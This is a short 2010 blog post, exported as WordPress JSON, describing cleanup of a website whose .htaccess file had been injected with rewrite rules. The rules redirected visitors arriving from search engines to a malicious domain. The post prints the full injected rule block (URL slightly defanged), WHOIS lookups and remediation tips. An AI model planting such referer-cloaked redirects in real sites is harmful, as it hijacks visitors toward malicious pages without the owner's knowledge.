{"id":1702,"date":"2010-01-25T07:15:20","date_gmt":"2010-01-25T14:15:20","guid":{"rendered":"http:\/\/www.pdxtc.com\/wpblog\/?p=1702"},"modified":"2014-12-04T13:16:36","modified_gmt":"2014-12-04T20:16:36","slug":"redirected-from-search-results","status":"publish","type":"post","link":"https:\/\/www.pdxtc.com\/wpblog\/viruses-and-scams\/redirected-from-search-results\/","title":{"rendered":"Redirecting from Search Results"},"content":{"rendered":"

We just fixed an instance of a domain which appeared fine when visited directly, but when coming from the search results, all users were being redirected.<\/p>\n

Because of my recent personal virus experience\u00a0 redirecting my visits from search results<\/a> I was thrown off at first,\u00a0 but it turned out that all users coming from search engines<\/em> to that website were being redirected in a completely different way.<\/p>\n

I found that the following code was placed in the .htaccess file at the root of the domain. :<\/p>\n

RewriteCond %{HTTP_REFERER} .*google.* [OR]
\nRewriteCond %{HTTP_REFERER} .*ask.* [OR]
\nRewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
\nRewriteCond %{HTTP_REFERER} .*excite.* [OR]
\nRewriteCond %{HTTP_REFERER} .*altavista.* [OR]
\nRewriteCond %{HTTP_REFERER} .*msn.* [OR]
\nRewriteCond %{HTTP_REFERER} .*netscape.* [OR]
\nRewriteCond %{HTTP_REFERER} .*aol.* [OR]
\nRewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
\nRewriteCond %{HTTP_REFERER} .*goto.* [OR]
\nRewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
\nRewriteCond %{HTTP_REFERER} .*mamma.* [OR]
\nRewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
\nRewriteCond %{HTTP_REFERER} .*lycos.* [OR]
\nRewriteCond %{HTTP_REFERER} .*search.* [OR]
\nRewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
\nRewriteCond %{HTTP_REFERER} .*yandex.* [OR]
\nRewriteCond %{HTTP_REFERER} .*rambler.* [OR]
\nRewriteCond %{HTTP_REFERER} .*mail.* [OR]
\nRewriteCond %{HTTP_REFERER} .*dogpile.*<\/p>\n

RewriteRule ^(.*)$ http;\/\/sudnijdenprishel.com\/gold\/go.php?sid=6 [R=301,L]<\/p><\/blockquote>\n

(* note that I replaced the colon with a semicolon in the above url)<\/em><\/p>\n

You can see what was happening here. the .htaccess file was either hacked, or came from the web designers computer, and it was causing all users being referred by any search engines listed to be reduirected to the sudnijdenprishel.com.<\/p>\n

I looked up the Who-is info for sudnijdenprishel.com and found this, showing the domain is brand new:<\/p>\n

Registrant:
\nPrivacyProtect.org
\nDomain Admin (contact@privacyprotect.org)
\nP.O. Box 97
\nNote – All Postal Mails Rejected, visit Privacyprotect.org
\nMoergestel
\nnull,5066 ZH
\nNL
\nTel. +45.36946676<\/p>\n

Creation Date: 21-Jan-2010
\nExpiration Date: 21-Jan-2011<\/p>\n

Domain servers in listed order:
\nns2.jino.ru
\nns1.jino.ru<\/p><\/blockquote>\n

Since my search was being stymied by privacy, I tried looking up WHOIS information for jino.ru :<\/strong><\/p>\n

[Querying whois.ripn.net]
\n[whois.ripn.net]
\nBy submitting a query to RIPN’s Whois Service<\/p>\n

domain: JINO.RU
\ntype: CORPORATE
\nnserver: ns1.jino.ru. 217.107.34.200
\nnserver: ns2.jino.ru. 217.107.217.16
\nnserver: ns3.jino.ru. 217.107.219.170
\nstate: REGISTERED, DELEGATED, VERIFIED
\norg: Avguro Technologies, Ltd.
\nphone: +7 495 2293031
\nfax-no: +7 495 2293031
\ne-mail: info@jino.ru
\ne-mail: info@avguro.ru
\nregistrar: R01-REG-RIPN
\ncreated: 2002.11.27
\npaid-till: 2010.11.28
\nsource: TCI<\/p><\/blockquote>\n

and fropm there, it’s not worth chasing down further, because I’m not Skyping<\/a> into Kazakhstan.<\/p>\n

Anyway, if users claim they’re being redirected, do these things:<\/p>\n

    \n
  1. Check your website .htaccess file<\/li>\n
  2. Scan your computer for any viruses, in case you’re the source in the first place, which is often the case.<\/li>\n
  3. Change your FTP usernames and passwords to good ones<\/a> (from a clean computer) just in case your password was hacked.<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"

    We just fixed an instance of a domain which appeared fine when visited directly, but when coming from the search results, all users were being redirected. Because of my recent personal virus experience\u00a0 redirecting my visits from search results I was thrown off at first,\u00a0 but it turned out that all users coming from search […]<\/p>\n","protected":false},"author":76,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"","_et_pb_old_content":"","_et_gb_content_width":"","footnotes":""},"categories":[12],"tags":[],"class_list":["post-1702","post","type-post","status-publish","format-standard","hentry","category-viruses-and-scams"],"yoast_head":"\nRedirecting from Search Results<\/title>\n<meta name=\"description\" content=\"We just fixed an instance of a domain which appeared fine when visited directly, but when coming from the search results, all users were being redirected.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.pdxtc.com\/wpblog\/viruses-and-scams\/redirected-from-search-results\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Redirecting from Search Results\" \/>\n<meta property=\"og:description\" content=\"We just fixed an instance of a domain which appeared fine when visited directly, but when coming from the search results, all users were being redirected.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.pdxtc.com\/wpblog\/viruses-and-scams\/redirected-from-search-results\/\" \/>\n<meta property=\"og:site_name\" content=\"Scott Hendison's Old Search Commander Blog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/SearchCommander\" \/>\n<meta property=\"article:published_time\" content=\"2010-01-25T14:15:20+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2014-12-04T20:16:36+00:00\" \/>\n<meta name=\"author\" content=\"Scott\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@shendison\" \/>\n<meta name=\"twitter:site\" content=\"@shendison\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Scott\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.pdxtc.com\\\/wpblog\\\/viruses-and-scams\\\/redirected-from-search-results\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.pdxtc.com\\\/wpblog\\\/viruses-and-scams\\\/redirected-from-search-results\\\/\"},\"author\":{\"name\":\"Scott\",\"@id\":\"https:\\\/\\\/www.pdxtc.com\\\/wpblog\\\/#\\\/schema\\\/person\\\/3142c7d28dc676725ac62cd6c9de8371\"},\"headline\":\"Redirecting from Search Results\",\"datePublished\":\"2010-01-25T14:15:20+00:00\",\"dateModified\":\"2014-12-04T20:16:36+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.pdxtc.com\\\/wpblog\\\/viruses-and-scams\\\/redirected-from-search-results\\\/\"},\"wordCount\":455,\"commentCount\":0,\"articleSection\":[\"Viruses and Scams\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/www.pdxtc.com\\\/wpblog\\\/viruses-and-scams\\\/redirected-from-search-results\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.pdxtc.com\\\/wpblog\\\/viruses-and-scams\\\/redirected-from-search-results\\\/\",\"url\":\"https:\\\/\\\/www.pdxtc.com\\\/wpblog\\\/viruses-and-scams\\\/redirected-from-search-results\\\/\",\"name\":\"Redirecting from Search Results\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.pdxtc.com\\\/wpblog\\\/#website\"},\"datePublished\":\"2010-01-25T14:15:20+00:00\",\"dateModified\":\"2014-12-04T20:16:36+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/www.pdxtc.com\\\/wpblog\\\/#\\\/schema\\\/person\\\/3142c7d28dc676725ac62cd6c9de8371\"},\"description\":\"We just fixed an instance of a domain which appeared fine when visited directly, but when coming from the search results, all users were being redirected.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.pdxtc.com\\\/wpblog\\\/viruses-and-scams\\\/redirected-from-search-results\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.pdxtc.com\\\/wpblog\\\/viruses-and-scams\\\/redirected-from-search-results\\\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.pdxtc.com\\\/wpblog\\\/viruses-and-scams\\\/redirected-from-search-results\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.pdxtc.com\\\/wpblog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Redirecting from Search Results\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.pdxtc.com\\\/wpblog\\\/#website\",\"url\":\"https:\\\/\\\/www.pdxtc.com\\\/wpblog\\\/\",\"name\":\"Scott Hendison's Old Search Commander Blog\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.pdxtc.com\\\/wpblog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.pdxtc.com\\\/wpblog\\\/#\\\/schema\\\/person\\\/3142c7d28dc676725ac62cd6c9de8371\",\"name\":\"Scott\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/ba275e23c0aad37526141e715b54cd3eeac27b071e4395b2b39e801ca68355d6?s=96&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/ba275e23c0aad37526141e715b54cd3eeac27b071e4395b2b39e801ca68355d6?s=96&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/ba275e23c0aad37526141e715b54cd3eeac27b071e4395b2b39e801ca68355d6?s=96&r=g\",\"caption\":\"Scott\"},\"sameAs\":[\"https:\\\/\\\/x.com\\\/shendison\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Redirecting from Search Results","description":"We just fixed an instance of a domain which appeared fine when visited directly, but when coming from the search results, all users were being redirected.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.pdxtc.com\/wpblog\/viruses-and-scams\/redirected-from-search-results\/","og_locale":"en_US","og_type":"article","og_title":"Redirecting from Search Results","og_description":"We just fixed an instance of a domain which appeared fine when visited directly, but when coming from the search results, all users were being redirected.","og_url":"https:\/\/www.pdxtc.com\/wpblog\/viruses-and-scams\/redirected-from-search-results\/","og_site_name":"Scott Hendison's Old Search Commander Blog","article_publisher":"https:\/\/www.facebook.com\/SearchCommander","article_published_time":"2010-01-25T14:15:20+00:00","article_modified_time":"2014-12-04T20:16:36+00:00","author":"Scott","twitter_card":"summary_large_image","twitter_creator":"@shendison","twitter_site":"@shendison","twitter_misc":{"Written by":"Scott","Est. reading time":"2 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.pdxtc.com\/wpblog\/viruses-and-scams\/redirected-from-search-results\/#article","isPartOf":{"@id":"https:\/\/www.pdxtc.com\/wpblog\/viruses-and-scams\/redirected-from-search-results\/"},"author":{"name":"Scott","@id":"https:\/\/www.pdxtc.com\/wpblog\/#\/schema\/person\/3142c7d28dc676725ac62cd6c9de8371"},"headline":"Redirecting from Search Results","datePublished":"2010-01-25T14:15:20+00:00","dateModified":"2014-12-04T20:16:36+00:00","mainEntityOfPage":{"@id":"https:\/\/www.pdxtc.com\/wpblog\/viruses-and-scams\/redirected-from-search-results\/"},"wordCount":455,"commentCount":0,"articleSection":["Viruses and Scams"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/www.pdxtc.com\/wpblog\/viruses-and-scams\/redirected-from-search-results\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/www.pdxtc.com\/wpblog\/viruses-and-scams\/redirected-from-search-results\/","url":"https:\/\/www.pdxtc.com\/wpblog\/viruses-and-scams\/redirected-from-search-results\/","name":"Redirecting from Search Results","isPartOf":{"@id":"https:\/\/www.pdxtc.com\/wpblog\/#website"},"datePublished":"2010-01-25T14:15:20+00:00","dateModified":"2014-12-04T20:16:36+00:00","author":{"@id":"https:\/\/www.pdxtc.com\/wpblog\/#\/schema\/person\/3142c7d28dc676725ac62cd6c9de8371"},"description":"We just fixed an instance of a domain which appeared fine when visited directly, but when coming from the search results, all users were being redirected.","breadcrumb":{"@id":"https:\/\/www.pdxtc.com\/wpblog\/viruses-and-scams\/redirected-from-search-results\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.pdxtc.com\/wpblog\/viruses-and-scams\/redirected-from-search-results\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.pdxtc.com\/wpblog\/viruses-and-scams\/redirected-from-search-results\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.pdxtc.com\/wpblog\/"},{"@type":"ListItem","position":2,"name":"Redirecting from Search Results"}]},{"@type":"WebSite","@id":"https:\/\/www.pdxtc.com\/wpblog\/#website","url":"https:\/\/www.pdxtc.com\/wpblog\/","name":"Scott Hendison's Old Search Commander Blog","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.pdxtc.com\/wpblog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.pdxtc.com\/wpblog\/#\/schema\/person\/3142c7d28dc676725ac62cd6c9de8371","name":"Scott","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/ba275e23c0aad37526141e715b54cd3eeac27b071e4395b2b39e801ca68355d6?s=96&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/ba275e23c0aad37526141e715b54cd3eeac27b071e4395b2b39e801ca68355d6?s=96&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/ba275e23c0aad37526141e715b54cd3eeac27b071e4395b2b39e801ca68355d6?s=96&r=g","caption":"Scott"},"sameAs":["https:\/\/x.com\/shendison"]}]}},"_links":{"self":[{"href":"https:\/\/www.pdxtc.com\/wpblog\/wp-json\/wp\/v2\/posts\/1702","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.pdxtc.com\/wpblog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.pdxtc.com\/wpblog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.pdxtc.com\/wpblog\/wp-json\/wp\/v2\/users\/76"}],"replies":[{"embeddable":true,"href":"https:\/\/www.pdxtc.com\/wpblog\/wp-json\/wp\/v2\/comments?post=1702"}],"version-history":[{"count":0,"href":"https:\/\/www.pdxtc.com\/wpblog\/wp-json\/wp\/v2\/posts\/1702\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.pdxtc.com\/wpblog\/wp-json\/wp\/v2\/media?parent=1702"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.pdxtc.com\/wpblog\/wp-json\/wp\/v2\/categories?post=1702"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.pdxtc.com\/wpblog\/wp-json\/wp\/v2\/tags?post=1702"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}